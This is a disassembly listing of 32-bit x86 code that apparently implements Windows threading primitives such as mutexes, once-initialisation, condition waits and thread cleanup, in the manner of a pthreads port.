		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27706F1h
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 2770A69h
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 0A7E89056h, 0E8023EF9h, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27706F1h
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 2821DE2h


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27E08A3h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103AC, eax
		nop
		call	near ptr 289036Ch
		test	eax, eax
		mov	dword_5103C8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103AC
		mov	dword_5103C8, offset sub_4012D0
		push	eax
		nop
		call	near ptr 2750379h
		mov	dword_5103AC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 0D9D6E852h, 0E8900231h
		dd 0FFFCF015h, 5103ACA1h, 74C08500h, 3AE85007h,	900231DDh
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 35E89052h
		db 0D9h, 31h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_5103BC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103B4
		mov	dword_5103B0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103B8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108C0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510940
		call	esi
		mov	eax, dword_5103B0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103B4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103B8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_447700
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108C0
		call	near ptr 7C9010EDh
		nop
		mov	esi, dword_511864
		push	offset dword_510940
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5108C0
		call	esi
		mov	dword_5103B0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_5103B4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax
		call	edi	; free
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103B4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
		dd 4C48310h, 8B02FB83h,	830D74F8h, 87401FBh, 0D7E8016Ah
		dd 90778071h, 674FF85h,	17C47F6h, 8B562374h, 48F633C3h
		dd 75480874h, 0FFCE8308h, 778B03EBh, 0EB01E814h, 0E856FFFCh
		dd 77807637h, 4C48390h,	0E8016A5Eh, 0FFFCEE46h,	8304C483h
		dd 57533CC7h, 408AE890h, 90907780h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_432D10:				; CODE XREF: ___:00401B22j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 2790238h
		push	eax
		call	near ptr 274097Eh
		nop
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
